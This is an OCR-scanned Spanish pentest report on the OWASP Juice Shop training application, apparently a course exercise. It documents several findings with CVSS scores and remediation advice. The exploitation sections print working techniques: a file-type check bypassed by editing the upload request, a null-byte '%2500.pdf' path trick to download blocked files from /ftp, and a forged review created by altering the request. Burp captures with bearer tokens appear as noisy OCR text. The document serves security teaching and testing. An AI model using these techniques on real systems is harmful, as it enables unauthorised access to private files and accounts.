1cGRhdGVKQXQLO1TyMDIyLT ASLTIyIDI yO] E40] AxL]Y 3Mi ArMDA
GMDALLCIk Zvx 1dGVkQXQ1 OmS1bGxSLCI pY XQL 0] EZNT g 1M] kwMTk
sImy4cCIGMTY LODUONz AxOX0. tUL- FLOFKo1 NsD- 1x LCINRT LoAj
A4qnSw20rlisyepd|

Search...

0 matches

Response

Raw Hex Render =

-

UoE Wk

)

[
O oo~

@<=

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self!'

Set-Cockie: token=
eyJ0eXA101JKV1QLLCIhbGe101ITUZI 1ML J9. eyJzdGFOdXML 01 1
2dWNj ZXNZT1wi ZGFOY ST BeyIpZCT 6MSwi dXNLemShbWUi 0i T11.CJ
1bwWFpbCIEINzY Vasb31kQGp 1awWNLLNNoLMOwI 1wl cGFzc3dvem)
101 TwMTkyMDI Y Td1YmQ3Mz T IMDUxNmYwNj LkZ ] E4Y ] UwMCISInd
vbGU101JhZG1pbiIsImRLbHY4ZYRYa2Vul jo1liwlbGFzdExvZ21
USXALOLIwL] AUMCAwIlwlcHIvZmlsZULtYWdLI JoiY XNzZXRzL3B
1Y mxpY y SpbWFnZXMvdXBsh2Fkcy ok Zwzhdwx 0QWRtaW4ucGSnIiw
1dGSEcFNLY3J LdCIBI1ISIMLzQWNOaXZ1I jpocnvLLCd jemvhdGy
kQXQL01IyMDIyLTA3LTIyIDIy0] E40] AxL]Y3MLAFMDAGMDALLC]
1cGRhdGVk OXQ1 01 TyMDI yLT ASLTIyIDIy0jE40] AXL]Y 3MiArMDA
BMDAL LIk Zwx LdGVkQXQL OMS1hGXOL CIpY XQi 0 E2NT g 1M7 kwMTk
SImV4cCIEMTY 10DUONz AxOX0. tUL - FLOFKoiNsD- 1x1CINRT LoA]
Adgnsw20rlisyepd; Path=/

Content-Type: application/jscn; charset=utf-8&
Content-Length: 135

ETag: W/"87-BPuXycxfp7ModkXOcSOFEMNp1y4"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 23:01:28 GMT

Connection: close

4{

"user":{
"idt:l,
"email":"rsa_lord@juice.sh.op",
"lastloginIp":"0.0.0.0",
"profileImage":
"assets/public/images/uploads/defaultAdmin. png"

Search...

0 matches

INSPECTOR
Request Attrib
Query Parame
Body Paramet:
Request Cookit
Request Heade

Response Heat
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VUL 017 — Upload Type

Vul_017

DESCRIPCION

EVIDENCIA

RIESGOS

RECOMENDACIONES

Upload Type

8,8 ALTA

http://juice.shop/file/upload

A la hora de subir archivos el sistema tiene una validacion el front end
para evitar que se suban archivos de tipos no permitidos.

No obstante, de nuevo esta validacion solo tiene lugar en el front end,
permitiendo a un atacante malintencionado, interceptar y alterar la
peticion dirigida al back end, afiadiendo entonces un archivo de tipo no
permitido.

Esto puede desencadenar en la subida de cdédigo malicioso a la
aplicacidn que se ejecutara comprometiéndola totalmente.

Captura de la subida de un archivo tipo “txt” no permitido

Request Response
vy Bl vex B 0 = prety (R Hex fencer B W =
1POST /file-upload HTTR/1.1 L WITR/L.1 208 N Content

2 Host: 182,168.42.194:3000 2 Access-Control-Allow-Origin: *

3 User-agent: Mozilla/5.0 [X11; Linux x85.64; rv:91.0) Gacko/20100101 Firafox/9l.0 3 X-Content-Typa-Options: nosnit
t: s/ 4 ral

© ecapt.Encadings geip. defizte & Date: Fri, 01 Jul 2022 20:58:14 GMT
utho 7 Connection: close
E\J%Xm IKV1GLLCIhb ISUzI1Ni )9, ey)zdGFOXML 00 J. N1 ZXNZ] 1w T EMSwL dXNLemS 8
iR 0L Lo pbc b ugcp DosLradivi rrnmwmmmnmwm- TGS oLy -
wi) LkZ) E4Y ) UnMCISInd 102 JhZG1pbiIs] L ]o: J1onRLZnluZng
i e o Lzltvudl:vsjcmv iRz 2Rl ZnF 1 BHREZG1 b Swme LCI0b SR
WUZV]€mVOT } 0113w aXie ST CI6T ) TwM) T LMD NDU2I CswMDo
SMCI S EZGFOZMEHCI 6 Wt} L£MDY M AGH 1T SMDGLAZ LT CaHDGACE 81 nL BOVOZWREHCT Bbriveb HOSL
ACTGHTY 1N} yNzg3Miws Zkiwa 0xN] UZN) Q100G 1Q, dKol EDuVzu7r CEER LBR) y3 SBNYHOSR1 fdIg5aeCoLhcn
L5x- FsaMuzvy w7 adp: -5-KobFarukkr
yasD7Nm 2 -FY
& content-T; Atipart/iorn-data;
boundary=. s eeeraem e 223410742333140478383410368535

© Content-Lengt!

38
10 Origin: http://192.168.42.194:3000
e

192, 168, 42, 194: 3000,
welcomebanner_status=dismss; cookieconsent_status=disniss;
XIVTAFof JSx i ahig2urkTHO ok S8 KeueBhDNS 32U LUF 7PT Lxn6sWs;
BOLVpb6w LXIn 13149 dSGRNT z4x dh) x4V080k yv 02F) a7xgLKerGDESN3;
conti nusCodeFi xI t=y2dG7GVL SnAGER0Y Z0W) 20PNAywxm) Us 1ASZNEQkpr X Dev Lo7MbS8NRbSL
............................ 2234107423331 4D476383410368535
& Content-Disposition: form-data; name='file'; filenane="archive.txt"
7 Content-Type: application/pdf
18
< Hola Mundo
20 |<pesss R -+ - - 2234107423231 404783823410368535
21

Esta vulnerabilidad permita a un atacante subir cualquier tipo de
archivo al servidor. De esta forma, se podria subir cédigo malicioso
provocando dafos de la mas diversa indole segun la capacidad del
atacante, pudiendo llegara a comprometer toda la aplicacion

Todos aquellos datos que se envian desde el front end al back end
deben filtrarse debidamente en ambos lugares. Tener una validacion
de la entrada de datos exclusivamente en front end permite a un
atacante malintencionado, interceptar y alterar las peticiones al back
end para conseguir comportamientos inesperados.
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REFERENCIAS

Vul_017

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

https://owasp.org/www-
community/vulnerabilities/Unrestricted File Upload

https://owasp.org/www-
community/vulnerabilities/Improper Data Validation

EVALUACION DE CRITICIDAD CVSS 3.1

Upload Size

8,8 ALTA

Red, es accesible desde internet

Baja, no se requiere de circunstancias especiales para realizarla

Bajo, se puede realizar con una cuenta normal de usuario

Ninguna

Sin cambios, la vulnerabilidad nace y afecta a la aplicacién

Alta, si el atacante consigue un subir y ejecutar cddigo malicioso que
le permite acceder a informacidn sensible

Alta, si el atacante consigue un subir y ejecutar céddigo malicioso que
le permite editar la informacion

Alta, si el atacante consigue un subir y ejecutar cddigo malicioso que
le permite borrar o tirar la aplicacion
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EXPLOTACION

Al igual que en la vulnerabilidad de tamafio maximo de subida de archivos, se observa que el
formulario no envia peticidn alguna al back end cuando se envian archivos no permitidos, denotando
que el filtro se hace en el front end y dejando en duda que se haga en el back end.

Ante una peticidn licita, por otra parte, la peticion al front end es creada y sucede con éxito.

A partir de aqui, lo Unico necesario es modificar esta peticién y afiadir un archivo de otro formato
para tener éxito:

Request Response
Pretty Hex n = pretty BN Hex Render n =

1 POST /file-upload HITP/1.1 1 HTTP/1.1 204 No Content

2 Host: 192.168.42.194:3000 2 Access-Control-Allow-Origin: *

3 User-Agent: Mozilla/S.0 (X11; Linux x86 64; rv:91.0) Gecko/20100101 Firefox/91.0 3 X-Content-Type-Options: nosmiff

4 Accept: */* 4 X-Frame-Options: SAMEORIGIN

S Accept-Language: en-US,en;q=0.5 S Feature-Policy: payment 'self'

6 Accept-Encoding: gzip, deflate 6 Date: Fri, 01 Jul 2022 20:58:14 GMT
7 Authorization: Bearer 7 Connection: close

£y 0eXA101 JKV1QiLCIhbGe1 01 I5UzT INLIS. ey JzdGFOdXML 01 J ZdN ZXNzT1wi ZGFOYST GeyJpZCI 6MSwidXNLens &
hbWUi 01T L.CJ LbWFp bCT 6TmFk bWLUQGR 1aWNLLXNOLmIWT i wi cGFzc3dvcmQi 0 TwMTkyMDI 2V TdiY mQaMzI IMDUxNmY 9
wNj LkZjE4Y j UvMCTSIndvbGUi 01 JhZGLpbi IsImRLEHV4ZVRva2Vul joiTiwi boFzdExvZ21usSKai0i ) bRl Zmluzviq
1LcIwemsmawx1SW1hz20101 Jhe3NTdHMvcHY1bGLiL21 tYwdley91lcGxvYWRzL2R1 ZmF1bHREBZG1pb1 SwbmeiLCIob3R.
WlJ2Vj cmVal j o1 Liwi aXNEY 3RpcmUi onRy diUs T my 2WFOZWRBACT 61 TwMj TEMDY £1zAgM] EENDGEMDULNDUZI CswhDo
WMCI SINVWZGFOZWRBACI 61 j Twij I tMDY tMzAgM] IEMTY 6MDgUNz UCL CswMDowMCI sImR1bGVOZWRBd CI 6bnvsbHosIml
hdCIEMTY 1N} YyNzg3Miwi ZXhwT § 0xNj L2Nj Q10Dey Q. dko LEDUVx2U7rCEEP_UdER] yiS8NyMGSRb 1 dJgsqwCoUhcm
1sX- FSIMUzZWy - nGpoJ e ] ES3XdKQPZ ] NEWSStDr MFZ8Y jWW7 L adp 2LKUReR7robQXWKRUL - S- KobF3rwk k rEGXwsOvde 1
JyPkZoDubpych_Poy4sD7NmI 2Mmx - FY

8 Content-Type: multipart/form-data;
BOUNdEPY=- - - - - 223410742333140478383410368535

9 Content-Leng

10 Origin: http://192.168.42.194:3000

11 Connection: close

12 Referer: http://192.168.42.194:3000/

12 Cookie: language=en; welcomebanner_status=dismiss; cockieconsent_status=dismiss;
continueCode=Y7twszuxIYTnFof JSx twioHg2uRk tx9f gk S8gHK eueBhDNS3zU1Vf 7PT 1xuB6SWE;
continueCoderindl t=pBOL VpbEw LmiXIn13MaqdSCRANY zaxdh  x AVoBok yv02P] a7xglKe r GDESGN3;
continueCodeFlxIt=y2dG7GVLSmRgBqOY ZOWJ 28PN4ywxmIUe 1 A3ZKEQk dprxjDevlo7Mb68nPbsL

15 - erem o 22341074233314047838341 0368535
15 Content-Disposition: form-data; name='file®; filename="archivo.txt®
17 Content-Type: application/pdf

18
19 Hola Mundo
20 | 223410742333140478383410368535- -

21

Y el back end lo acepta sin problema pues no existe un control explicito en el mismo.

upiosd 3 file larger than 100 ks.)

20 Typs Upioad a file that has no paf or .zjp extension.)
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VUL_018 — TOKEN SALE exposicion de informacion
confidencial

TOKEN SALE exposicion de informacion confidencial

Vul_0
n Lig 8,6 ALTA
http://juice.shop/main.js

El cédigo del FRONT END disponible a todos los usuarios rebela el futuro
lanzamiento de un token que no deberia ser publico y que pone al descubierto

DESCRIPCION las intenciones de la empresa sin ser el momento apropiado.

A pesar de ser una vulnerabilidad informativa, se ha evaluado como ALTA
debido a la naturaleza sensible de la informacién divulgada.

PonzICO: Let’s Just Cut to the Chase

Josh Cincinnati
@acityinohio
https://ponzico.win
Ox1ce7986760ADe2BFOF322£5EF39Ce0DE3bd0OC82B

May 12, 2017

Abstract

Token sales—aka “Initial Coin Offerings”™ where the ‘i" in Coin is optional
are hotter than Instagram filters on Venus. But to date, nearly all of them
have presold non-functional products at ludierous valuations.

The author is offended. Not at the scheme per se—kudos to the developers
for discovering a class of rich, pseundo-intellectual suckers willing to value the
work they haven't done at multipliers that would give a private equity partner
an aneurysm. But the inefficiency of it alll In this very legitimate, IXTEX-
eomposed, long-planned|1] white paper, the author proposes a method to
achieve the same goal with a magnitude less work and presents a production-
ready Ethereum smart contract address—where production-ready is as at least
as code- and concept-tested as The DAO's Code is Law. As a bonus, the

Imagen
del pdf informativo de la ICO que se pretende lanzar y que se puede obtener a
partir de los links encontrados en el cddigo de la aplicacion.

EVIDENCIA

Si alguien se dedica a revisar el cédigo de nuestra web puede encontrar
RIESGOS rapida y facilmente informacion sobre futuras acciones de la empresa que
pueden provocar que nuestra ICO sea un fracaso.

No deberia figurar antes del lanzamiento, informacidn sobre una futura en el
FRONT END de nuestra aplicacidn, deberia borrarse y no exponerse esta
informacién hasta que se liberara la ICO.

RECOMENDA
CIONES

https://knowledge-
REFERENCIAS base.secureflag.com/vulnerabilities/sensitive information exposure/sensitiv
e _information disclosure vulnerability.html
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https://knowledge-base.secureflag.com/vulnerabilities/sensitive_information_exposure/sensitive_information_disclosure_vulnerability.html
https://knowledge-base.secureflag.com/vulnerabilities/sensitive_information_exposure/sensitive_information_disclosure_vulnerability.html
https://knowledge-base.secureflag.com/vulnerabilities/sensitive_information_exposure/sensitive_information_disclosure_vulnerability.html

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_018 TOKEN SALE exposicion de informacion sensible

CVSS3 PUNTUACION ALTA 8,6

Vector de Ataque Red, la informacion es accesible desde internet

Complejidad Baja, se puede obtener toda la informaciéon desde el navegador

Privilegios requeridos Ninguno: la informacidn esta disponible a cualquier persona.

Interaccion del usuario Ninguna.

Cambia porque el componente vulnerable es el servidor web y el

Alcance
componente afectado uno de los proyectos de la empresa.

Alta, pues se exponen completamente las intenciones de la compaiiia
de lanzar una ICO

Confidencialidad

Integridad Ninguna, esta vulnerabilidad solo permite obtener informacion.

Disponibilidad Ninguna, esta vulnerabilidad no permite denegar el servicio.

EXPLOTACION

Al analizar el cédigo del main.js encontramos ciertas menciones a una futura ico:
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main. js token

:o,
selectors: [["app- -sale"]],
return this.http.get(*https://www.googleapis.con/oauth2/v1/userinfo?alt=jsonsaccess_

: o,
this.userService.oauthLogin(this.parseRedirectUrlParams().access_ ).subscribe(n=>{
this.cookieService.put(" P §) 2
localStorage.setIten(" o )
this.cookieService.remove(" '
localStorage.removeItem(”
i o

return !!localStorage.getItem(" *) || (this.forbidRoute("UNAUTHORIZED_ACCESS_ERROR"),
Decode() {

const n = localStorage.getItem(" *);

0,

const e = this.loginGuard. Decode();

50y

const e = this.loginGuard. Decode();

0y

const e = this.loginGuard. Decode();

3
return localStorage.getItem("
10,
:o,

20k

return localStorage.getItem("
o,
localStorage.setIten(" L )i
this.cookieService.put(” &S {

if (n.status &6 n.data &6 "totp_ _required n.status)
return localStorage.setItem("totp_tmp_ n.data.tmpToken),

Ademads de los comentarios existentes en el cddigo encontramos links informativos:

e https://ponzico.win/ponzico.pdf
e https://www.sec.gov/investor/alerts/ia virtualcurrencies.pdf
e assets/public/images/padding/56px.png

Para completar el desafio de Juice Shop la url a usar es esta:

O A 192168.42.194

i s &

= . OWASP Juice Shop Q@ nccoun W ookt @

Vou suiceessully solved a enallange: Blockehain Hype [Leam about the Toke before its official annauncement |

All Products

Apple Juice TR Banana Juice
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DESCRIPCION

EVIDENCIA

8,6 ALTA

http://juice.shop/ftp/

La vulnerabilidad de “local file inclusion” o LFI permite “engafiar” a la
aplicacion web para que exponga o ejecute archivos existentes en el
servidor web de una forma no permitida.

Un ataque LFI puede dar lugar a la divulgacion de informacion y suele
poder convertirse también en una vulnerabilidad de ejecucién remota
de cédigo o de XSS. Por lo general, LFl ocurre cuando una aplicacion
usa la ruta a un archivo como entrada.

En el caso de Juice Shop, permite acceder al contenido de los archivos
que estan situados en la carpeta /ftp/ del servidor y su gravedad
reside especialmente en la divulgacion de informacién privada que
puede llevar a comprometer la aplicacion o ayudar en ello.

Request Response S
Pretty Hex n (= Raw Hex Render n (=
1 GET /ftp/eastere.gg HTTB/l_lw- 7 Vary: Accept-Encoding
2 Host: 192.168.1.41:3000 8 Date: Mon, 25 Jul 2022 19:58:28 GMT
3 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:9l.0) © Connection: close
Gecko/20100101 Firefox/91.0 10 Content-Length: 2029
4 Accept: 11
text/html, application/xhtml+xml, application/xml;g=0. 12 <html=>
9,1mage/webp, */*;9=0.8 13 <head>
= Accept-Language: en-US,en;g=0.5 14 <meta charset='utf-g's
6 Accept-Encoding: gzip, deflate
7 Conmection: close 15 <title=
= Referer: http://192.168.1.41:3000/ftp Error: only .md and .pdf files are allowed
S Cookie: language=en; welcomebanner_status=dismiss; </title>
cookieconsent_status=dismiss; continueCode= 16 <style>
% VKPNYRLokLd1xuYhKtNTEUET 3UQc 11 mSpUnwf ZSHWRSWOs LZAsE *
03j8a385; continueCodeFindIt= 17 margin:0
pYynakgQnVKbpEOGqWaxdY 13eyX8SqtmSR7BLDMyS2LEoSNErIP] 18 padding
zmw]02rb; continueCodeFixIt= 19 outline:o;
EwhYBY pOzMmO] 4QRWZEXWDAOVkxSPhS13Z6PLbK7GrvgyannBIL 20 1
0eSDOKyN 21
10 Upgrade-Insecure-Requests: 1 22 body{
11 23 padding:80px100px;
12 24 font:13px"Helvetica Neue"."lLucida Grande".

Captura donde se ve como el servidor deniega la descarga del archivo
eastere.gg y solo permite la descarga de .pdf y .md.

Request Response

vx B 0 =
1 GET /ftp/eastere.gg%s2500.pdf| HTTR/1.1
2 Host: 192.168.1.41:3000

Hex Render B 0 =

1 HTTP/1.1 200 OK
2 Access-Control-Allow-Origin: *

3 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rvi9l.0
Gecko/20100101 Firefox/91.0

4 Accept:
text/html, application/xhtml+xml, application/xml;q=0.
9,image/webp, */%;q=0.8

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Connection: close

3 Referer: http://192.168.1.41:3000/ftp

9 Cookie: language=en; welcomebanner_status=dismiss;
cookieconsent_status=dismiss; continueCode=
*VKPNY RLokLd1xuYhKtNTBUST 3UQe 11 mSpUnwf ZSHWRSWOs L ZAe6
Q18a385; continueCodeFindIt=
pYynakgQnvkbpooGawaxdy13eyX85qtm8R7BLOMY 521 EQSNEr IP;
zmwj02rb; continueCodeFixIt=
GubYBY p0zqMm0] 4QRH2EXWDAIVk xSPhS13Z6PLbK7Grvgy8hnB 1
025DQKYN

10 Upgrade-Insecure-Requests: 1

11

12

3 X-Content-Type-Options: nosniff

4 X-Frame-Options: SAMEORIGIN

S Feature-Policy: payment 'self'

& Accept-Ranges: bytes

7 cache-Control: public, max-age=0

8 Last-Modified: Tue, 29 Mar 2022 11:47:42 GMT
S ETag: VW/"144-17fd580ch30"

10 Content-Type: application/octet-stream

11 Content-Length: 324

12 Date: Mon, 25 Jul 2022 20:00:18 GMT

12 Connection: close

14

15 "Congratulations, you found the easter egg!®
16 - The incredibly funny developers

17

18 ...
19
20 ...

2
3
7]

NN
[

Ch' walt, this isn't an easter egg at alll It's just

a boring text file! The real easter egg can be

found here:

25

25 L2d1ci Oxemlml251ciomyiSzaGrhbCondi) sL3V2cS9uY S9ybmzn
emvenROLZp2Z3V2Y sondXIvemSmZ3) 1L3J0dA==

27

28 Good luck, egg hunter!

Y]

Captura donde vemos la inyeccion del caracter null byte para lograr
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RIESGOS

RECOMENDACIONES

REFERENCIAS

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

la descarga del archivo anterior y de este modo, poder acceder al
mismo.

Todo archivo que se suba a dicha carpeta podra ser descargado por
atacantes poco experimentados debido a la facilidad existente para
lograrlo.

Exposicion de datos sensibles que pueden llevar a otros
descubrimientos, como por ejemplo el archivo de backup de un
desarrollador que nos servird para obtener mas informacion sobre la
infraestructura de la aplicacion, sus componentes y posibles
vulnerabilidades.

Un servicio ftp no deberia exponerse en la misma ruta de la aplicacién
y deberia estar debidamente configurado y asegurado.

Falta configurar la autenticacidn y autorizacion para acceder a dicha
carpeta.

Ademas, la validacion de la peticion de descarga de los archivos no
esta debidamente protegida, se deberia de cambiar el codigo si no se
quiere permitir la descarga de ciertos tipos de archivo.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21804

https://www.offensive-security.com/metasploit-unleashed/file-
inclusion-vulnerabilities/

EVALUACION DE CRITICIDAD CVSS 3.1

LFl en FTP

ALTA 8,6

Se accede desde internet

Baja, es explotable mediante una de las técnicas basicas de este tipo
de vulnerabilidad

Ninguno, se puede realizar todo sin necesidad de crear ningln
usuario.

104


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21804
https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/

Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

Ninguna, no se requiere de interaccidn con usuarios de la plataforma.

Esta vulnerabilidad afecta a la aplicacién, pero consideramos que
puede cambiar en funcién de la documentacién a la que se pueda
llegar a acceder en un momento dado.

Alta, pues permite acceder a ficheros e informacién sensible

Ninguna, no es posible editar informacién existente.

Ninguna, no es posible con esta falla denegar el servicio.

EXPLOTACION

Como se ha explicado, una vez llegamos a la carpeta /ftp/ solo tenemos que afiadir %2500.pdf o
%2500.md al enlace de descarga de los archivos de distinta extensidon a estos para descargarlos y
poder acceder a su contenido.

Request
Prettv Hex iy §=
2 Host: 192.168.1.41:3000

Gecko/20100101 Firefox/91.0
4 Accept:

9,image/webp, ¥/*;q=0.8
5 Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate
7 Connection: close

QJj8a3B5; continueCodeFindIt=

zmwj02rb; continueCodeFixIt=

11
12

1 GET /ftp/eastere.gg%2500. pdf| HTTP/1.1

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:S1.0) 3 X-Content-Type-Options: nosniff

text/html, application/xhtml+xml, application/xml; g=0. 5 Accept-Ranges: bytes

S Referer: http://192.168.1.41:3000/ftp
9 Cockie: language=en; welcomebanner_status=dismiss; 12 Date: Mon, 25 Jul 2022 20:00:18 GMT
cookleconsent_status=dismiss; continueCode=
XVKPNYRLokLd1xuYhKtNT BuST 3UQc 11 mSpUnwi ZSHwRSWOs LZAeS 14

pYynakgQnVKbpooGgWaxdY 132y X85qtmeR7BLOMyS21EcSNGrIP] 16 - The incredibly funny developers

EwbYBYp0zqMmO] 4QRW2EXwDdoVk xSPh513Z6PLbK7GrvgyBnBI L 18 ...
0e5DOKyN 19
10 Upgrade-Insecure-Requests: 1 20 ...

Response

Pretty Hex Render nll=

1 HITRP/1.1 200 OK
2 Access-Control-Allow-Origin: *

4 X-Frame-Options: SAMEORIGIMN
S Feature-Policy: payment 'self'

7 Cache-Control: public, max-age=0

& Last-Modified: Tue, 29 Mar 2022 11:47:42 GMT
S ETag: W/"144-17fd580ch30"

10 Content-Type: applicationfoctet-stream

11 Content-Length: 324

13 Connection: close
15 "Congratulations, you found the easter egg!"

17

21

E--10

23

24 0h' wait, this isn't an easter egg at all! It's just
a boring text file! The real easter egg can be
found here:

25

26 L2d1cioxemlml251ciomyiSzacFhbCendXasL3v2c5ouY SoybmzZn
emUvenROL2p2Z3V2Y SendXIvemSmzZ3 1L3J0dA==

27

28 Good luck, egg hunter!
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DESCRIPCION

EVIDENCIA

RIESGOS

VUL _020 — Facturas en FTP

Facturas en FTP

8,6 ALTA

http://juice.shop/ftp/

La carpeta ftp no esta privatizada y puede ser accedida si restricciones
desde internet.

Cada vez que se genera un pedido en juice.shop se crea un pdf
descargable que se adjunta a esta carpeta, permitiendo a un atacante
mal intencionado recopilar informacién sobre los usuarios y perjudicar
no solo a la aplicacion y a la empresa, sino a estos.

Captura de las facturas que aparecen en el ftp

OWASP Juice Shop

Order Confirmation

Customer: bender@juice-sh.op
Order #: 130f-c6c573242bc76220

Date: 2022-08-02

Ix Raspberry Juice (1000ml) ea. 4.99 = 4.991

Delivery Price: 0.99
Total Price: 5.98x

Bonus Points Earned: 0
(The bonus points from this order will be added 1:1 to your wallet ®-fund for
future purchases!

Thank you for your order!

Captura de la visualizacién de la factura de un cliente

Permite obtener informacién de la facturacion de la aplicacion.

La competencia se podria hacer con una informacidn sensible que le
podria resultar muy util en diversos aspectos, como, por ejemplo,
generar un perfil de clientes.

Exposicidon de datos involuntaria de nuestros clientes. Violacion de la
RGPD que podria conllevar denuncias a la empresa, perdida de
prestigio y de clientes.
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En caso de que se escribieran en la factura, permitiria recopilar
documentos de identidad de clientes.

Expone informacion sensible de clientes que puede usarse en su contra.

El directorio ftp no deberia ser accesible desde internet.

QECOLNIDCIONIEE  Tener todas las facturas juntas en un solo directorio que, ademas,

contiene otras cosas, no parece la forma mas optimizada de trabajar.

https://owasp.org/www-project-top-ten/2017/A3 2017-
Sensitive Data Exposure

REFERENCIAS

EVALUACION DE CRITICIDAD CVSS 3.1

Facturas en FTP

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del
usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

ALTA 8,6

Red, es accesible desde internet

Baja

Ninguno

Ninguna

Con cambios, la vulnerabilidad afecta a la aplicaciéon y puede
afectar a los clientes de forma personal.

Alta pues revela datos confidenciales de los clientes.

Ninguna, no es posible alterar los datos.

Ninguna, actualmente no permite denegar el servicio
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EXPLOTACION

Tan sencillo como navegar al directorio /ftp y hacer clic en la factura que se desea visualizar.

OWASP Juice Shop

Order Confirmation

Customer: bender@juice-sh.op
Order #: 130f-c6¢573242bc76220

Date: 2022-08-02

1x Raspberry Juice (1000ml) ea. 4.99 = 4.99x

Delivery Price: 0.99x
Total Price: 5.98x

Bonus Points Earned: 0
(The bonus points from this order will be added 1:1 to your wallet X-fund for
future purchases!

Thank you for your order!
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VUL_021 - CONFIDENTIAL Document

CONFIDENTIAL Document

http://juice.shop/ftp/acquisitions.md

Se encuentra un directorio ftp abierto con un documento confidencial
DESCRIPCION que puede ser leido y descargado sin que se requiera ningun tipo de
autorizacion por parte del usuario.

Imagen del directorio ftp abierto al publico

o C x O Q «

This document is confidential! Do not distribute!

EVIDENCIA

5 Our company plans to acquire several competitors within the next year.

6 This will have a significant stock market impact as we will elaborate in
7 detail in the following paragraph:

8

9 Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
10 eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
11 voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet
12 clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
13 amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
14 nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
15 sed diam voluptua. At vero eos et accusam et justo duo dolores et ea

16 rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem

17 ipsum dolor sit amet.

18

19 Our shareholders will be excited. It's true. No fake news.

20

El directorio ftp no deberia estar abierto al publico ya que permite
acceder a diversos documentos confidenciales.

RIESGOS En concreto, el que nos ocupa habla de planes futuros de la empresa
con lo que es dificil medir el impacto que tendra mas o menos influencia
segln la persona que lo encuentre pudiendo ser realmente grave.

La web no deberia contener directorios abiertos con contenido
RECOMENDACIONES sensible. Ademas, el servicio ftp deberia estar por otro lugar y
debidamente asegurado.
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REFERENCIAS

Vul_021

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

https://owasp.org/www-project-top-ten/2017/A3 2017-
Sensitive Data Exposure

EVALUACION DE CRITICIDAD CVSS 3.1

CONFIDENTIAL Document

ALTA 8,6

Red, es accesible desde internet.

Baja, no se requiere de circunstancias especiales para realizarla.

Ninguna, no se requiere de cuenta para usar esta caracteristica.

Ninguna.

Con cambios, la vulnerabilidad afecta a la aplicacion, pero termina
afectando a otros sectores de la empresa.

ALTA porque revela planes futuros de la empresa y se puede acceder
a documentacidon sensible que puede causar un impacto negativo
grave en la empresa.

NINGUNA, no permite modificar los datos.

NINGUNA, no permite denegar el servicio.

EXPLOTACION

Simplemente hay que navegar a la siguiente ruta y se podra obtener automdaticamente el

documento:

http://juice-sh.op/ftp/acquisitions.md
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nVUIO

DESCRIPCION

EVIDENCIA

VUL_022 — FORGED Review

FORGED Review

8,5 ALTA

http://juice.shop/rest/products/id/reviews

El filtrado y autorizacion de las reseias enviadas se realiza solo en el front end
de la aplicacion.

De esta forma, un usuario malintencionado puede interceptar la peticion
enviada al back end y crear una resefia en nombre de otro usuario alternado
la misma.

£ Reauest 12 AEERINTZ168.1 413000

Forwand Drop Action Open Frawser
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Imagen
de una captura del envio de una resefia licita enviada al servidor.

Pretty  Raw  Hex = Pretty  Raw  Hex  Render

T PUT /rest/products/24/reviews HITP/1.1 1T HTTP/1.1 201 Created

2 Host: 162.168.1.41:3000 2 Access-Control- Allow-Origin: *

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rvi91.0) Gecko/20100101 Firefox/91.0 3 X-Content-Type-Options: nosniff

4 Accept: application/json, text/plain, */+ 4 X-Frame- Options: SAMEORIGIN

5 Accept- Languag 5 Feature-Policy: payment 'self’

5 Accept-Encoding: gzip, deflate 6 Content-Type: application/json; charset=utf-g
7 Authorization: Bearer 7

Content-Length: 20

ET. W/"14-YS3wuE/mmb SikKcT /WualL INSSU"
Accept-Encoding

Tue, 09 Aug 2022 20:58:41 GHT
Connection: close

Y206 XAL 01 JKVL Qi LCIhb Gei 01 JSUZT LNLJ9. ey J2dGFOM XM 01 1z dWNj ZXNZTiwi ZGFOY SL6eyIpZCI 6M] ES InV2ZXILYHL
1] 0111 wi ZW1haviwi O1 J0ZXNOQGP 1aWNLLXNoLm@w 1wi ¢ GFzc3dv cmQL 01.0 1 Y2AZZT ONZE2YWZ1 Y iNi 2] hi ZTc2Njhhy2Z
LymVINSTsInuvbaLiosoj dauobal i sIlebHvszRvazvuI] oi I)wledeExvzzluSXA)D)IwL] AUMCaWTiwi cHIvZnL
szULtvwdlIjoiL: Mva1h: ZGUmY XVsdCSzdmei L CI0b3RAUIZV cmVOT joi Tiwd aXh
BY3RpdmUi OnRydwUsTmy ZwFOZwREdCI 6L TuMj ItMDgtMDkngSNDQSWcuNDgyICstanMCIsI NVWZGFOZWRBACT 61T
W] T tMDG tMDkMTK ENDQSMT cUNDG YL CwMDWMCT STMRLb GVOZWRBACI SbnvsbHOSTmLhdCT SMIY 2MDASNDL A0Cwi ZXhwI o | 13 {
XNjYwMDkyMj g4F Q. kCLed 01 TQLCXSKBBEACd02CKx 3FBGa 2uT 0xe 7% CCtQbntvDeT s JSBUGG KLab cz0jhGv71keqlb2nkk "status' " success
